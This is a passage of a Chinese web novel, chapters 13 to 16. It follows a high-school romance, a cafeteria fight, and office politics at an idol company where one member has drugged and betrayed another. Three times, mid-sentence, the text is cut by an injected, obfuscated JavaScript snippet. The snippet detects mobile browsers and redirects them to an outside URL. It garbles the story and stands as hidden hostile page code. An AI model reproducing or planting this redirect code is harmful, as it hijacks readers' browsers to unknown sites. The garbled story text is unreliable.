13. 第 13 章 “同学,可以加个Q/Q吗?” 苏琬回头,看见一个中等身材、穿着球衣的男生,站在她身后,手上拿着手机,正紧紧盯着她。 “呃……”苏琬有些懵,随后立刻反应过来,“不好意思……” 男生眼里露出失望,但是没有放弃,反而继续走上前一步。 “加一下吧,就是认识一下。” …… 苏琬从小就长得漂亮,这种当街被人要联系方式的事也并不是第一次发生。 她看了那男生一眼,只觉得对方有些不达目的不罢休,不像是平常要联系方式的其他人,礼貌且有分寸。 她心里一下觉得怪怪的,于是退后一步,仍然带着微笑。 “不用了。” 那男生似是仍不死心,还想上前一步。 ——却被旁边伸出的一只宽大有力的手给拦住。 谷奕高壮的身形挡住苏琬,长眉拧起,表情很不好看。 “说了不用,就是不用,听不懂人家女生的话吗?” 那男生脸色一变,声调拔高。 “我问的是她,跟你有什么关系?” 谷奕嗤笑一声,声调懒散。 “她要是同意了,就跟我没关系。可是她拒绝了,你还往上贴,就跟我有关系。” “……”那男生表情变了又变,愠怒的眼神看起来阴沉得可怕。 他打量了一下谷奕。 “你哪个班的,以前没见过你。” 谷奕目光冰冷,居高临下地瞟着他。 “跟她一个班,以后别来骚扰她。” 他声音冷淡,扔下这句话,看也没看那男生一眼,就拽着苏琬走了。 …… 苏琬一路被谷奕拖着往前走,对方手长腿长,脚步飞快,她勉勉强强地跟着,已经明显感觉到眼前的人的怒气。 “走慢点。” 谷奕停住,没有回头,默默松开了她的手。 过了一会,他有些沉闷的声音才从前面传来: “那个人我好像见过。之前和程朗一起打球的时候,他好像也在旁边打。” “嗯,也许也是体育生。”苏琬摇摇头,“不过我不认识他,不知道他高几的。” 前面高大的男生听到回答,终于回过头来看她,眼眸闪烁。 “他如果以后再来骚扰你,就来找我。” 苏琬愣了两秒,随后眉眼舒展。 “好啊。” * 帝都新娱公司。 “今天的课就上到这里。马上要发新歌了,编舞过几天就出。” 顾安跳得浑身是汗,坐在练习室的地板上。老师离开了,练习室里只剩下他一个人。 他拿出手机,惯常点开微博。 上一条微博已经是三天前,但是却只有十几条评论。他一个个点开,阅读,回复。 又点进他的超话。依然只有寥寥几个人,帖子极少。 他带上话题,发了一张自己在练习室里的照片。 十分钟过去了,只有一两个评论,孤零零地躺在这条微博下面。 …… 他点开热搜,一列划下去极其精彩。 当红大花斩获影后,奶油小生国内首刊新造型,隔壁公司男团新歌发布冲上排行榜,新人歌手首次举办全国巡回演唱会。 一对偶像男团的CP粉和唯粉撕得热火朝天,直接撕上了热搜,各家粉丝纷纷甩出图为自家正主冲锋陷阵,点进广场一片辱骂违禁词,路人都来围观,热度居高不下。 …… 他一个一个划下去,一个一个点进去,一个一个看着。 看着这些,他三年来都不曾够到一点点边缘的上层。 刚刚跳了两个多小时的腿早已肌肉酸痛,抖得厉害,宽大的背心被汗水浸满。 长久没有进食的肠胃已经习惯于这种感觉,明天要上称,等会中午只能吃一份凯撒沙拉。 他放下手机,没来由觉得胸口堵得慌。 可是觉察到了自己的情绪后,又觉得矫情。 ——明明出道三年里,每天都是这样的情景。 “叮咚——” 手机屏幕亮起,是他的超话有新的帖子更新。 “【顾安的玫瑰】:重传补档,重新传一遍半年前封神直拍名场面,也是我的入坑视频” “【顾安的玫瑰】上传了一条视频” 【评论】 “啊啊啊我也是这个视频入坑的!” “这场镜头和part好多,喜欢!” “这几句队友的词本来就更适合安安,安安唱得好好听。” “上面的,别ky在个人超话里提队友吧,队友这场有事没来,被截图出去了两家又要吵起来。” “别吵了,马上新歌预告了,只想让狗公司多分点part。” …… 他眼神抖了抖。 这个视频,没人比他更熟悉。 那是半年前的一个节目,楚恒没来,错过录制,梁吟东大发雷霆,让顾安临时补上C位,紧急调整走位和安排。 最终那一天的那个舞台,他多了整整一倍的镜头和唱段。 是那一天,他这场的直拍视频有了小范围的热度,多了很多粉丝。 是那一天,他被梁吟东鼓励说表现得很好,之后每一次发歌都能分到副歌。 ……而这些事情的起源,也是那一天,他给那个时候还是室友的楚恒,下了安眠药。 他靠在练习室的镜子前。 镜子里还有一个他。 两个顾安,背靠背叠在一起。 像相互支持的一对密友,像纠缠不清的两面人格,更像一觉醒来后的庄周梦蝶。 …… 练习室的门被打开,走廊的光照进来,刺得顾安眼睛眯起来。 他凝眉,抬头,看见门口站着赵焰。 “聊聊。” * “快快快!董事长来了!” “赶紧赶紧!手上工作都停一下!” “啊!董事长怎么突然来了?” “谁知道啊,刚刚来的通知,董事长过来开会!快起来!” 办公室的人瞬间警铃大作,一群人迅速从电脑桌前站起来,跑到门口,歪歪扭扭站成一排,慌里慌张地整理自己的衣服头发。 下一秒,就远远看见一群人簇拥着中心的一个男人走过来。 那男人约莫五六十岁,戴着眼镜,身材瘦小,穿着深色夹克,头发灰白,走路速度极慢,看上去就像街边一个再普通不过的老人。 贾威走在他前面,脸上带着灿烂的讨好笑容,腰弯得极低,左手向前做着引导的动作,一边带路一边嘴里正在介绍着什么。 一群人走进来,所有员工立刻紧张地立正,夹道欢迎,鞠躬喊着“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252934|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 董事长好!” 老人视线扫过,微微点头,脚下动作不停。 一群人走到拐角的小会议室和小教室,准备继续向前走到前方的电梯间。 突然,一个小教室的门被打开,赵焰从里面走出来。 他似乎没想到会看到这么多人,一瞬间愣了,呆呆地看着眼前的人群。 “赵焰!来!” 贾威眼睛一亮,立刻把人拉过来,搭着赵焰的肩膀,满面红光。 “董事长,这是我外甥,赵焰。STAR的主舞。” 赵焰立刻反应过来,露出谦逊阳光的笑,上前一个90度鞠躬,声音清脆。 “董事长好,我叫赵焰。” 老人脸上没有什么表情,却明显轻松松动了很多。 他点点头:“这就是你说的你外甥?” 他上下打量几次,看眼前的年轻人笑容阳光干净,眼神清澈,表情谦逊,微笑道:“挺不错的。” 这时,刚刚的小教室又走出几个人,STAR其他几个成员全都出来了,最后还跟着一个声乐老师,出来看见这么多人如此大的阵仗,一时间愣在原地。 ——看来STAR刚刚正好是在教室里上集体声乐课,正好下课出来就碰见了正在等电梯的董事长。 旁边的运营同事立刻眼疾手快地把声乐老师拉到旁边,拉进员工人群里,远离董事长周围簇拥的人和正处在风暴眼的STAR,跟她捂住耳朵轻声说着什么。 董事长眼睛扫过眼前几个年轻男生,旁边的贾威立刻介绍说:“这就是STAR的几个成员。” 董事长点点头,突然想到什么。 “新歌是不是要发了?” “是,马上就准备拍MV。” “上次小梁跟我说了一句,买的几首歌都不满意,是怎么回事?” 贾威一慌。 面前的老人声音洪亮,看似是顺口一问,但是锐利的目光已经扫了过来。 他没想到梁吟东会在董事长面前提到这件事。 董事长怎么会管下面一个小团体新作品走什么路线、用什么歌。梁吟东提这件事,只有一个目的,就是说明两人之间有分歧,最后是贾威拍板制定了决策。 贾威反应极快地笑着解释:“梁经纪人要求比较高。新歌已经定下来了,评定报告上周已经送上去了。” “嗯。” 董事长没再过问这短短一句“要求比较高”和“已经定下来了”之间有多少波折和意见分歧,只是回过头,看了一眼眼前这几个年轻男生,又问了一句: “上周公关部门那件事解决了没?” 旁边的人完全不知道指的是什么事,战战兢兢地低头。 但是贾威知道。 他闻言,脸上立刻露出一闪而过的欣喜,又很快换成恭敬。 “已经解决了,但是……” 他拖着尾音,两秒后才继续往下说:“还是增加了很大一笔公关费用,而且对团体声誉也有打击。马上就是要发新歌的阶段,这个时间段出这种事,确实不是好消息。” “……” 这下,在场所有人都知道说的是什么事了。 宣传运营部的几个同事立刻眼观鼻鼻观心,不敢乱出声,偶尔有一两个胆大的,会偷偷抬头,去看教室门口的那个金发年轻男生。 ——可不是吗,这件事情的主人公,不就是STAR的楚恒吗。 14. 第 14 章 上次公司大会之后,梁吟东和公关部以及运营部的员工把这件事压了下去,所幸STAR本身热度并不高,所以要压下去也非常容易。 并且,梁吟东还在公司大会上表态,将这件事情的原因从艺人本身身上移除,认为很大可能是对家公司散播出来的谣言。 公司内部已经统一了官方口径,但是内部员工有的相信,有的却不相信。 他们偷偷望向角落里的楚恒。 这一望,却并没有看见预想到的惊慌失措的尴尬场面,只看见—— 那个男生独自站在角落,微微垂头,表情淡淡,仿佛眼前几位重量级人物和他无关,周围人捕风捉影的眼神也和他无关。 “虽然梁经纪人表态说这件事和楚恒本人无关……但是据我了解,楚恒本人生活作风上也存在一定问题。” “因为这件事带来了不小的影响,所以从下个月开始,所有偶像艺人和练习生月度考核都会增加一项个人作风的考核,由周围人评价打分,保证每位艺人的公众形象。” “……所以,下个月开始,STAR的楚恒就会首先扣掉这一项的分数,作为案例典型。” 贾威话音落地,周围鸦雀无声。 事件当事人和公司大老板全部在场,贾总经理居然还这么直接、不留情面地讲出来! 看来公司一直以来的传闻是真的,梁经纪人和贾总经理两派斗争已久,而楚恒作为赵焰的潜在对手,自然也不招贾总经理待见。 周围的员工全都吓得不敢说话,每个人都一副感觉自己被卷入到了公司内部高层斗争的慌张样子中。 大家偷偷去看董事长的脸色。 ——却看见,人群中被簇拥着的那位瘦小的、掌握着全公司最大权力的老人,脸上并没有什么怒色,反而极其平静。 “是吗?” 他声音不大不小,却让在场所有人都可以听见。 “谁是楚恒?” …… 角落里的金发男生挺直脊背,走上前,恭敬鞠躬。 “董事长好,我叫楚恒。” “这件事,我没有做过。” 董事长看着面前这个年轻男生。 长相精致,眼睛极美,气质有些阴柔。性格内向,表情有些冷淡,远远没有赵焰那么会来事,身上没有这个年纪的男生该有的阳光稚嫩,却透着一丝漠然和平静。 他沧桑老练的眼睛盯着楚恒两三秒,没有说话。 一旁的贾威看董事长似乎没有什么反应,瞬间眼神就有些急切。 今天折腾这么大一圈,就是为了在众目睽睽之下和董事长面前把这件事给坐实解决,现在都已经发展到这份上了,怎么能让楚恒逃过去? 他立刻走上前一步,朗声说: “董事长,是真的。大家都可以证实。” “……” 董事长回头,看他一眼。 “谁可以证实?” 贾威仿佛就等着这句话,立刻装出思考两秒的样子,随后恍然大悟: “您看我这脑子,赵焰不是就在这团里吗!” “赵焰!” “过来,给董事长说说是怎么回事。” 所有人的目光都聚焦向一旁的赵焰。 他看向贾威,对方眼神急切。 他立刻明白了,走上前一步,挠挠头,为难地看着董事长,又犹豫地看向楚恒。 “这……我,我不敢说……” “没关系,你就说出来。董事长这是了解情况。” “可是,可是梁姐说,让我不要引起团队冲突和矛盾……” 此话一出,全场震惊。 大家不知道梁吟东是不是真的说过这句话,但是如果这句话真的是在楚恒事件发生之后梁吟东的原话的话,这不是赤裸裸的威胁吗? 贾威表情严肃。 “别怕,说吧。这是给其他艺人引以为戒的机会。” 全场安静,所有人都看着赵焰,也在看着楚恒。 惊讶、鄙视、厌恶、八卦、看热闹…… 十几双眼神朝楚恒投射过来,像刀箭一样,不由分说地、无处辩驳地,扎在他身上。 他握紧拳头,站得笔直,幽深的眸子看向赵焰。 “我——” 赵焰刚刚在众目睽睽下开口,就被一个声音打断。 董事长淡淡开口: “不用说了。” 他转向一旁角落里的顾安。 “你来说。” …… 顾安错愕。 所有人都目瞪口呆。 ——所有人都没有想到董事长为什么会突然转向角落里,跟这件事从头到尾都没有关系的第三个成员。 “……”贾威惊讶。 随即他突然意识到了什么,吓出了一身冷汗。 他后知后觉地认识到,今天这个局,实在是太顺理成章、太明显了。 他惊疑不定地去看董事长的表情,却什么也看不出来,对方脸上风轻云淡,喜怒不形于色。 董事长绝对不会关注哪个小艺人私生活如何。 能让他关心的,就只有一个。 在这场内部派系斗争中,梁吟东和自己,哪个更占上风。 …… 楚恒眸光闪烁,轻轻地呼出一口气,脸上的表情轻松许多。 他默默看向顾安。 两个人的眼神隔空撞上。 然后,他就看见,顾安嘴唇微张,嗫嚅着,移开了视线。 他一字一句地说: “楚恒同时交往好几个女友,被女生发现,在网上曝光。” “是,确有其事。” ! 这句话声音不大,但是如同一道惊雷。 人群中瞬间传出小声的嘈杂讨论声,密密麻麻交缠在一起,像一张没有孔隙的网,把楚恒整个人紧紧包裹压迫。 …… 董事长站在众人中心,表情不变,半晌不言。 许久之后,才开口说道; “……那就扣分。新歌的安排,也要换。” “之前定的副center是谁?” 赵焰立刻反应过来,回答道:“是顾安。” “那新歌的主位就给顾安。” “让梁吟东,好好管好自家艺人。” 董事长似乎极其疲惫,说完这句话,拂袖而去。 一群人又围拥着中间的老人浩浩荡荡地离开。 …… 楚恒站在原地。 他一动不动,隔着空气,执着地想要看清顾安的眼睛。 可是对方,自始至终就没有再看过他。 他脑中莫名其妙突然闯入一段回忆—— 四年前,他刚进公司的时候,年纪小,性格内向,不爱说话。 他只是一个人默默地上课,跟周围其他练习生都没有什么交集。 练习生的生活极其灰暗,每月一次的残酷考核,不过就只能淘汰的体制,每天上称的密集压力,以及暗不见光、遥遥无期的新团出道安排。 他节食,跑步,在夏天练习室里没日没夜地练舞,在冬天清早去无人的广场练声。 终于体力不支而昏倒的那一天,天空都很灰暗。 而醒过来看到的第一个人,就是顾安。 “终于醒了!” 他一副谢天谢地的表情,塞给他一个捂热的饭团,说:“我叫顾安。” …… 四年了。 那双眼睛,那张脸,明明没有变,却在滚动的空气里慢慢变得模糊。 那双眼睛,那张脸,和噩梦里那些光怪陆离的场景混在一起,变成一个巨大的黑色噩梦魔,在迷雾中吞掉了这个世界的太阳。 …… 楚恒惊醒。 满身是汗,头痛欲裂,眼前一片虚无。 他大口大口地呼吸,唇角干燥,鼻梁英挺,发丝凌乱,纤长的睫毛微微颤动,在白皙的眼下投射出一片小小的阴影。 入目依然一片黑暗,他已经分不清梦境和现实的边界。 脑子里的虫像是生了根筑了巢,密密麻麻像龙卷风般侵袭全身,痛得他咬牙颤抖,翻身滚下床,在坚硬的地板上砸出巨大的响声。 痛…… 痛…… 他努力睁开眼睛,手哆哆嗦嗦地去摸床头柜上的药瓶,拿起杯子仰头无意识地灌下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252935|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷水。 水顺着他脖颈,流入线条流畅的胸口,又大滩大滩地漫开,打湿了胸前大片衣服。 两粒药吞入喉管,疼痛却一点也没有减少。 受不了了…… 受不了了…… 他大口大口喘息,手上像绑着千斤重石,颤抖着犹疑着,最终还是伸向了床底。 “叮铃铃——” 手机铃声打破死寂。 屏幕闪亮,两个字闪烁。 ——“月姐”。 他的动作被打断。 …… 李鸣月高兴轻快的语气在寂静的房间里响起。 “喂!楚恒!是不是刚下课?” “告诉你一个好消息!我家酒吧上次坏掉的设备已经全部调试好了!” “你下周有空吗?要是有空,你下周周末就过来玩吧!” “你来多唱几首歌!往返楚门的路程和住宿费用,我全部报销!” 他呼吸慢慢平静,睫毛抖动,手边的动作也停下来。 ——床底的箱子,最终还是没有被拖出来。 楚门……? 他迷迷糊糊地想起那个谷奕电话里的南方小城市。 想起他电话里絮絮叨叨的公立高中,燥热夏天,严格老师,和遇见的两个性格各异的女生。 他声音那么懒散、轻快,说着抱怨,语气却雀跃,已经充满矛盾和波折地融入了新生活。 …… 那会是,一个光明的所在吗? * 谷奕睡醒,睁开眼,觉得十分不自在。 第一个不自在,是他只能歪歪扭扭地坐在座位上。 抬头起来看看,左边是低头写字的苏琬,后面是埋头背书的黄怀予,周围是抓紧时间在课间睡觉的躺倒一片的高三同学。 “……” 他想翻个手臂继续趴着睡,然而手臂已经被枕麻,弄得他龇牙咧嘴。 此时人已经清醒,也早就睡够了,他环视一圈,心里觉得无聊至极。 上课铃响了,又是数学课。他低头,点开手机游戏,和后排几个体育生一起玩王者荣耀。 ……这样的日子每天都一样,重复地过,吃了睡睡了玩,倒是也安宁。 他没有逃课,毕竟已经和黄怀予苏琬建立了同盟小组,怎么样也不能背叛盟友,让她们被连坐。 反正他不去上课也是出去玩。在教室里玩,和在教室外玩,也都一样。 …… 第二个不自在,是他拥有了和周围所有人一样多的砖头一般的书。 他的书和资料已经买的七七八八了,还顺道买了一个好像所有人都有的塑料大箱子。 但是买了也完全没看,只是随便翻了翻,就扔进了箱子里,跟着大家一起,放在了教室四周的墙边。 于是四个方向的墙边,都整整齐齐放着一排箱子,乍一看像极了小区停车场。 …… 最让他不自在的,就是苏琬和黄怀予。 她们俩每天如同黄山迎客松,不管风雨都岿然不动。 游戏不玩,手机不看,整天埋头苦学,唯一的乐趣就是晚饭时候刷刷教室公共电脑的网页,看看今日新闻,顺便联系一下政治考点。 他还发现,经常会有人下课来找黄怀予和苏琬问问题。 黄怀予的同桌好像是美术生,已经去集训了,于是座位就正好空了出来。 这个空座位理所应当成了每天来问问题的人的接待点。来的人简直络绎不绝,各种科目的都有,拿着书就坐在黄怀予旁边。 三个人一起埋头辛苦研究,然后黄怀予就会突然爆发出一声像研发出原子弹一样的叫声: “我懂了!” 然后就开始兴奋地给旁边两个人讲题。 …… 谷奕装作不在意,趴着睡觉,却忍不住偷偷抬起眼去看苏琬。 苏琬侧身对着他,神色认真,鼻梁秀气,长发垂在身后,耳边几缕碎发被风吹进衣领里。 他一连看了好几分钟都没动。 ——但是突然,他就看见了一样东西。 苏琬的右耳耳垂上,竟然有三枚闪闪发光的耳钻。 15. 第 15 章 苏琬有三个耳洞?! 他怕自己眼花了,揉了揉眼睛,又仔仔细细地观察了一下。 这下看仔细了。她耳朵上确实有三个耳洞。 而且全都打上了小小的亮晶晶的耳钻,并排连着,连成一条线。 …… 连黄怀予这样看上去很叛逆的人都没有耳洞,苏琬这样的乖乖女竟然打过三个? 这个认知让谷奕吃了一惊。 趁着苏琬扭头,他还想观察一下她左耳有没有打过耳洞。 结果没想到下一秒苏琬就抬起了头,两人的目光正好对上,谷奕被抓了个正着。 苏琬:“吵到你睡觉了吗?” !! 谷奕被抓住偷看,立刻一个激灵,装作打个哈欠。 “当然了,太吵了。” 说完又觉得不对,补充道,“也没有,你们继续讨论学习,不用管我。” 谷奕说完就觉得更加不对,也不知道苏琬有没有生气。他去看苏琬的神色,却看见苏琬表情不变,只是点点头,就继续低头做题。 他一时尴尬,更难受了,只能埋头苦睡。 …… 黄怀予在教室里收地理作业,统计没交的人的名单。 作为地理课代表的她,最近有了一个奇怪的发现。 她发现谷奕基本上什么作业都不交,于是也理所应当地觉得他也不会交地理作业。 可是没想到,自从他回来上课以后,每一次统计地理作业名单的时候都没有谷奕。 也就是说,他只交地理作业。 …… 她打开谷奕的练习册,虽然字很丑,但是确实认真写了。 最近第一轮复习,老师在讲地球公转和时区。他认真了写完了全部。 甚至有一道题是问太阳系行星的很冷门的题,连她都没有做对,但是谷奕做对了。 黄怀予回想起来,每一天都能看到的前桌那个高大的身影,确实只有在上地理课的时候才会抬起来,其他时候都正在趴着睡觉。 这是为什么? …… 谷奕躺在寝室床上,心里乱七八糟。 手机里正摆着和楚恒的微信聊天框,没什么内容,就是他在一个人瞎讲。 可是他在床上翻来覆去,心思完全不在手机上。 他总是想到苏琬学习的样子,以及两人上午的对话。 “吵到你睡觉了吗?” “当然了,太吵了。” …… 人家在认真学习,跟同学讨论问题,自己却在睡觉,还责怪她吵到了自己。妈呀,这是人能做出来的事? 谷奕越想越难受。 旁边白度的呼噜声像打仗一样响,他枕着手臂盯着天花板熬鹰,一夜未眠。 ……第二天清晨,谷奕盯着巨大的黑眼圈出门,正好看见前方女生寝室楼下,站着一个熟悉的身影。 他立刻叫住她。 苏琬回头。 她今天穿了一条长裙。就是他刚转学过来第一天,他们逃到鸡鸣山的那次,她穿的那条裙子。 早晨晨光熹微,空气里还有湿润的味道,她的长发松松散散地拢在胸前。 ……谷奕心跳有些快。 苏琬的舍友陈静看见这一幕,立刻就一副看见大八卦的样子,赶紧跑到旁边,装作给他们俩私人空间,实际上耳朵竖得比兔子还快,仔细听着他们俩每一句话。 “那个,不好意思,昨天,我……” 他想要对昨天上午自己讲的话道歉,但是讲了一半,支支吾吾又不知道怎么开口。 “……” 苏琬平静地看着面前比自己高出两个头的男生。 他黑发凌乱,表情纠结,眉毛纠在一起,嘴唇红红的,“我”了半天也没有“我”出个所以然。 她开口,接上对方断断续续的话。 “饿了?要吃早饭?走吧。” ……谷奕愣住。 然而下一秒他就立刻跟上。 “我微信转你,然后晚上请你喝奶茶。” 苏琬:“热干面行吗?” 谷奕听到这三个字,脚步一顿,仿佛下了极大的决心,艰难点点头。 “行。” …… 早晨用餐高峰,食堂有很多人,都是住读生来吃早饭。 苏琬和谷奕拿着早饭,终于在角落找到了两个空位置。 两人快速吃完,没什么话说,准备起身离开。 周围人很多。 人挤着人,一边想出去,一边想进来,场面混乱,几乎可以碰到别人的肩膀。 苏琬个子瘦弱,力气小,背着书包在人群中间被挤来挤去,努力想走出去却又总是被挤回来。 突然,脚底似乎踩到了什么东西,紧接着就似乎被旁边人的小腿绊住,她一下子失去平衡,整个人就要朝前倒去,马上就要扑倒在前面人的背后—— 下一秒,她的手臂就被一只有力坚硬的大手拉住,带着令人安心的力量。 那只手拉住了她。 她回头—— 看见身后,重重人影中,谷奕那双乌黑细长的眸子。 …… 旁边突然有人冲过来,一下子把她往后面挤,她躲避不及,撞进了谷奕的怀里。 少年的身体带着强烈的炙热,夹杂着洗衣液干净清爽的香味。两人身高差极大,苏琬被挤到谷奕胸前,腰上多了一只护住她的手。 “……” 她怔怔地看着对方,几秒后才反应过来,有些慌乱地站稳。 “谢谢。” 谷奕轻轻放开了她。 “别推了!” “打的就是你!” “操!” 突然,人群右边传出几声巨大的叫骂,紧接着就是肢体冲撞的声音和嗡嗡杂杂的人声。 周围人都逐渐散开,走向了右边声音的来源处,人群迅速聚众围成一圈,正在围观。 苏琬和谷奕跟着看过去。 ……人群中央,有两个男生纠缠在一起,打了起来。 那两个男生都是运动打扮,看上去是两个体育生,此时正扭打在一起。 谷奕看了几秒,突然发现,被压在下面的那个人,竟然就是之前找苏琬当街要Q/Q的男生。 “……”谷奕皱眉,一下子想起来,当时他为什么会觉得那个男生眼熟。 之前打篮球的时候见过,程朗还给他介绍过—— 他叫杨天奇,是国际班的,当时中考分数不够,家里人找了关系,通过国际班进了楚门一中。篮球体育生,也是运动队里的刺头,跟鸡鸣区附近几个学校的混混走得很近。 “大家平时都觉得杨天奇很傻逼,一副混混样,所以都跟他没什么接触。” …… 两个人紧紧扭打在一起,互不相饶,拳拳到肉。 周围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252936|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响起七嘴八舌的惊讶吸气声和讨论声。 “那是谁啊?” “两个体育生吧。” “哎,这个人我知道,杨天奇吧?但是旁边那个人是谁啊?” “也是体育生,好像是三班的孙乔。我刚看到了,就是刚刚人太多,孙乔好像不小心撞了一下杨天奇,面汤洒出来了,杨天奇就骂了孙乔。然后两个人就莫名其妙打起来了。” “我去,看来孙乔也挺不好惹啊,骂了一句就直接开打了。” “谁知道呢,反正大家都看杨天奇不爽。” …… 杨天奇用力翻身骑在孙乔身上,四肢使劲压制着对方,右手扯过刚刚的汤面,直接一大碗浇在了孙乔脸上。 ——滚烫的热油滴进了眼睛里,孙乔被烫得捂住眼睛大叫。 “我靠!” 周围人群中立刻发出惊呼。 这打打架也就算了,把滚烫的汤面往人脸上浇,这可是要把人弄瞎了! 苏琬也有些吓到。 然而她睁大眼睛,还没反应过来的时候,就看见身边的谷奕突然冲出去,上前一脚就把杨天奇给踹翻了。 ——谷奕人高马大,力气也大,一脚直接踹到了杨天奇的腰。杨天奇被踹翻,滚到旁边,痛得大叫。 谷奕把捂住眼睛的孙乔扶坐了起来。 …… 人群混乱一片,声音嘈杂。 苏琬看到一旁的杨天奇已经重新站了起来,心道不好,赶紧挤出人群,冲出食堂门口,用最快速度跑向最近的教学楼,直奔一楼体育组办公室。 她闯进办公室,气喘吁吁地喊: “报告!老师,有体育生在食堂打起来了!受伤了!” …… 两个体育老师火速去了食堂。 人群被疏散,孙乔坐在一旁捂住眼睛,已经可以逐渐睁开,看上去已经没有大碍。 谷奕和杨天奇扭打在一起。说是扭打,实际上杨天奇完全没有占到上风。谷奕身材高大强壮,把杨天奇彻彻底底地压在地上。 而两人旁边的地面上,竟然已经出现了血迹。 ——两个男体育老师神色立刻严肃,冲上去把人强制分开。 杨天奇已经打红了眼,被老师拉住大声斥责还要继续打,整个人像一只发疯的狗。 “谷奕!” 苏琬赶紧跑上前,瞪大眼睛,浑身颤抖地看着地上的血,立刻开始检查谷奕身上哪里有伤口。 “你没事吧?你没事吧?哪里流血了?” 她微张着唇,呼吸急促,睫毛颤抖,大大的杏眼里全是焦急。 却看见眼前的高大少年十分镇定。 一滴深红色的血缓缓流过他浓密的长眉,他眨眨眼,眼睛亮晶晶的,咧开嘴一笑,露出洁白整齐的牙齿。 “都是他的血。” …… 苏琬神色一松,终于放下心来。她拿出口袋里的湿纸巾,眼神专注,极其认真地给谷奕擦着脸侧和耳边的血。 冰冰凉凉的湿纸巾擦过谷奕的皮肤。 她擦血的手腕突然被一只温热的手掌抓住。 谷奕表情自豪,拍着胸口说: “没事,他这种战斗力,我能揍一吨!” ——下一秒他就被旁边的体育老师狠狠打了头,痛得谷奕捂住头,大叫了一声。 “还在这里孔雀开屏?给我回办公室!等会叫你们班主任过来!” 16. 第 16 章 苏琬垂头,收起了手上的湿纸巾,却感觉左边一直有一道阴狠的目光紧紧盯着自己。 她向那边看去,正好撞见杨天奇阴沉的眼神。 他正被体育老师紧紧控制住,脸上全是乱七八糟的血迹,衣服也杂乱不堪,看上去狼狈至极。 苏琬心里升起一股奇怪的感觉。 她再仔细朝杨天奇看过去,才终于发现,这正是那天在食堂门口找自己要Q/Q的人。 “他是杨天奇,体育生,上次骚扰你的那个。”谷奕压低的声音在她头顶响起。 她也听说过杨天奇这个名字。他家里似乎很有关系,平时也并不住校,为什么今天会一大早来学校食堂? 要知道,对于楚门一中所有走读生来说,明明外面的早点铺选择更多,味道更好,而且顺路上学的时候就可以带进来,根本用不着来人挤人的食堂。 她皱眉思考,突然察觉到杨天奇恶狠狠的目光正在紧紧盯着自己。 …! 她脚底升起一股寒意,直上天灵盖。 ……他是来找她的! 因为上次要Q/Q失败,所以今天早晨特地一大早就来学校食堂蹲守找自己! 苏琬此时竟然十分庆幸自己住学校宿舍。如果自己是走读,恐怕上学放学路上就会被他堵上了。 …… 在场的四个人全部都被请去了办公室。 孙乔在汤面浇上来的一瞬间就已经条件反射地闭上了眼转过头,所以热油溅进去得不多,现在已经没什么大碍。 而谷奕更是整个人完完整整,一点也没受伤。 只有杨天奇腰被踹了,额头被打出了血,衣领被扯得大开,整个人像是被五个人群殴过。 他直接出了学校,打车去了医院,走之前还一边怒视谷奕,一边给家里人打电话,似乎背景极大,一副要不到说法绝对不会善罢甘休的样子。 谷奕和孙乔被几个体育老师批评教育一通。正在低着头无所谓地认错的时候,马辉急匆匆地闯进了办公室。 他在电话里就已经了解了基本情况,此时直接快步走进来,脸上带着不好意思的笑,和几位体育老师谈了几句。 体育老师指向谷奕,马辉转过身,狠狠瞪了谷奕一眼,又看见了在一旁安静站着的苏琬,表情瞬间复杂起来。 …… 三个人走出了办公室。 苏琬还在紧张地盯着马辉的背影,还没来得及解释,就突然看见马辉转过身,愤怒地低吼道: “你知道杨天奇家里什么背景吗?!” ……苏琬懵了,下一秒立刻反应过来,他这话是对谷奕说的。 她猛然想到之前听过的传闻,杨天奇家里从政,似乎背景很厉害。 她一下子慌了,睁着眼睛,看着马辉,呆呆地不知应该作何反应,又不由自主地去看谷奕。 ——却见谷奕愣了一下。 随即表情懒散,神色不屑。 他侧着身子站着,慢条斯理开口: “他知道我家里什么背景吗?” …… 苏琬看到,刚刚还怒气冲冲的马辉,突然熄火了。 他看着谷奕半天,什么也说不出来,只能压低声音说:“下次别主动动手!” “……下午朱主任会找你们。” 说完,他就怒气冲冲地走了。 …… 折腾这一顿已经上午九点多了,正好是大课间,所有人都在操场做课间操。 苏琬跟着谷奕走在回教室的路上,校园安静,小路无人,她想到刚才谷奕不屑的表情和马辉的反应,心里打鼓,一时只剩沉默。 “苏琬!大傻!” 两人回头,就看见黄怀予急冲冲朝自己跑过来。 “卧槽!大傻!你还真的会打架啊!我看见马辉早自习收到一个电话就怒气冲冲出去了,再看你们两个都不在,然后白度说今天早晨食堂好像出事了,我就知道是你们!” “你们没事吧!马辉没把你们怎么样吧?” 